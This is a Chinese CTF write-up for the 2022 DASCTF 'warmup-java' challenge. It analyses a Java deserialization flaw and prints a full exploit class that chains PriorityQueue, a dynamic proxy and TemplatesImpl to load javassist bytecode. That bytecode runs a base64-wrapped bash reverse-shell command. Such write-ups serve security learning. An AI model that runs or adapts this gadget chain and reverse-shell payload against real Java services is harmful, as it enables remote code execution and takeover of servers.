首页 > 编程语言 >[2022DASCTF Apr X FATE 防疫挑战赛] warmup-java

[2022DASCTF Apr X FATE 防疫挑战赛] warmup-java

时间:2024-04-29 19:00:30浏览次数:25  
标签:templates TemplatesImpl java FATE warmup PriorityQueue import new

没错,还是java。

我就跟java杠上了。

分析

先看依赖:

没有啥特别的。

审一下源码:

IndexController.java:

warmup路由下传参data,下面把十六进制转为字节直接反序列化了。

看下动态代理MyInvocationHandler.java:

看一下Utils的hexStringToBytes方法:

 

下面分析来自Java专题 - 简书 (jianshu.com)

MyInvocationHandler的invoke方法在执行type的方法时只传入了一个参数,那么毫无疑问是要传入对象本身,也就是要找一个利用方法是无参的,还能帮助我们执行恶意代码或者恶意的命令的。
TemplatesImpl.getTransletInstance()
刚好符合上面的描述。 那么下面就是如何去执行到invoke()了。
下面看反序列化,如果只是进行反序列化,即便我们做了动态代理也无法执行代理类的方法(因为在反序列化的过程中没有调用任何方法),为解决这个问题,我们可以想到CC2的PriorityQueue,让其中的comparator方法做代理,会在反序列化的时候被调用,然后就会执行invoke方法,成功执行恶意代码。
不了解CC2,请自行查询一下吧。
其实简单来讲,我们这里就是使用动态代理中的invok()方法代替了CC2中的
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()

前面半条链,因为项目中并没有引入commons-collections4的jar包,也就没有TransformingComparator和InvokerTransformer类。

所以整条链可以是【Web】2022DASCTF Apr X FATE 防疫挑战赛 题解(全)-CSDN博客

PriorityQueue#readObject() ->
PriorityQueue#heapify() ->
PriorityQueue#siftDown()->
PriorityQueue#siftDownUsingComparator() ->
proxy.compare(TemplatesImpl) ->
MyInvocationHandler#invoke() ->
TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])

 

EXP

package com.eddiemurphy;

import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Exp {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


    public static TemplatesImpl generateEvilTemplates() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Devil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilDevil" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换为bytes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        return templates;
    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }

    public static String bytesTohexString(String s) throws IOException {
        File file = new File(s);
        FileInputStream fis = new FileInputStream(file);
        byte[] bytes = new byte[(int) file.length()];
        fis.read(bytes);

        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);

            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }

            return ret.toString();
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = generateEvilTemplates();

        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        Class c = myInvocationHandler.getClass();
        Field type = c.getDeclaredField("type");
        type.setAccessible(true);
        type.set(myInvocationHandler,Templates.class);

        //代理接口为Comparator,便于后续调用compare方法
        Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);

        //初始化属性comparator为proxy类
        PriorityQueue priorityQueue = new PriorityQueue(2);


        priorityQueue.add(1);
        priorityQueue.add(2);
        Object[] queue = {templates,templates};

        setFieldValue(priorityQueue,"comparator",proxy);
        setFieldValue(priorityQueue,"queue",queue);

        serialize(priorityQueue);
        System.out.println(bytesTohexString("ser.bin"));
    }
}

标签:templates,TemplatesImpl,java,FATE,warmup,PriorityQueue,import,new
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18166454

相关文章

  • <BEA-000438> <Unable to load performance pack. Using Java I/O instead. Please en
    环境:weblogic10.3.6jdk1.6 myeclipse10.7今天升级了一下myeclipse到10.7,然后配置weblogic,启动的时候报<BEA-000438><Unabletoloadperformancepack.UsingJavaI/Oinstead.Pleaseensurethatwlntio.dll之前用myeclipse8.5没报过这个问题。后来上网看了一下,是找不到......
  • java 数据库编程(一)JDBC连接Sql Server数据库
    java数据库编程(一)JDBC连接SqlServer数据库一、JDBC简介java数据库连接技术(JavaDatabaseConnection,JDBC)是由java提供的一组与平台无关的数据库的操作标准,其本身由一类与接口组成,并且在操作中将按照严格的顺序执行。由于数据库属于资源操作,所以所有的数据库操作的最后必......
  • java中的代理
    目录定义好处分类静态代理示例(接口实现)例一:(海外代购)动态代理jdk动态代理(接口)CGLIB代理(继承)定义是一种设计模式,提供对目标对象另外的访问方式好处目标对象可以间接访问可以在目标对象实现的基础上,增强额外的功能,即扩展目标对象的功能不改变原有代码的前提下,可以通过代理来......
  • 【转】[Java] 防止并发的多种写法
    来自:阿里的通义灵码要确保在Java中同一方法被多个线程同时调用时,只有其中一个成功执行,可以采用几种并发控制策略。以下是几种实现方式:1.使用ReentrantLock的tryLock()importjava.util.concurrent.locks.ReentrantLock;publicclassSingletonExecution{privatesta......
  • 2-LinuxJava安装
    环境CentOS7.5Java8卸载现有JDKrpm-qa|grep-ijava|xargs-n1sudorpm-e--nodseps上传Java压缩包将jdk-8u212-linux-x64.tar文件上传到/opt/software目录中解压Java压缩包进入/opt/software目录cd/opt/software解压缩文件到指定目录tar......
  • Java方法
    基本类型和引用类型的不同对于基本类型,它的值直接保存在变量中;对于引用类型,它保存的是实际对象的地址,引用指向实际对象,实际对象中保存着内容;赋值运算符对基本类型与引用类型的作用对于基本类型,赋值运算符会直接改变变量的值,原来的值会被覆盖掉;对于引用数据类型,赋值运算符会......
  • java代码运行出现DENIED Redis is running in protected mode because protected mode
    这个错误是因为开启了保护模式,导致出错。所以需要关闭redis的保护模式。编辑redis的redis.config  注释bind127.0.0.1 、修改protected-mode为no、修改 daemonize为no然后重启redis ......
  • mORMot 1.18 第08章 Delphi中的服务器端JavaScript
    mORMot1.18第8章Delphi中的服务器端JavaScript在mORMot框架中,对JavaScript脚本的支持被称为MonkeyOnRails(版权归PavelMashlyakovsky所有,邮箱:[email protected]),它借助了Mozilla基金会的SpiderMonkey类。mORMot允许程序员编写功能强大的应用程序,但如果客户希望自定义应用......
  • javac编译java后缀编成class
    前言全局说明一、编译独立.java后缀文件此java文件,没有依赖外部任何jar包。文件名:test_print.javapublicclasstest_print{publicstaticvoidmain(String[]args){if(args.length==1){System.out.println("[INFO]Userargs:"+args[......
  • Java线程池控制线程存活时间的机制
    核心线程:永不销毁:此类线程处理完任务后,会调用任务队列的take方法,此方法是阻塞的,假如队列为空了,该线程就会被阻塞住,线程就能一直存活着了。非核心线程:空闲指定时间后,会被销毁:此类线程处理完任务后,会通过调用任务队列的pop方法,此方法接收一个时间参数且是限时阻塞的,假如队......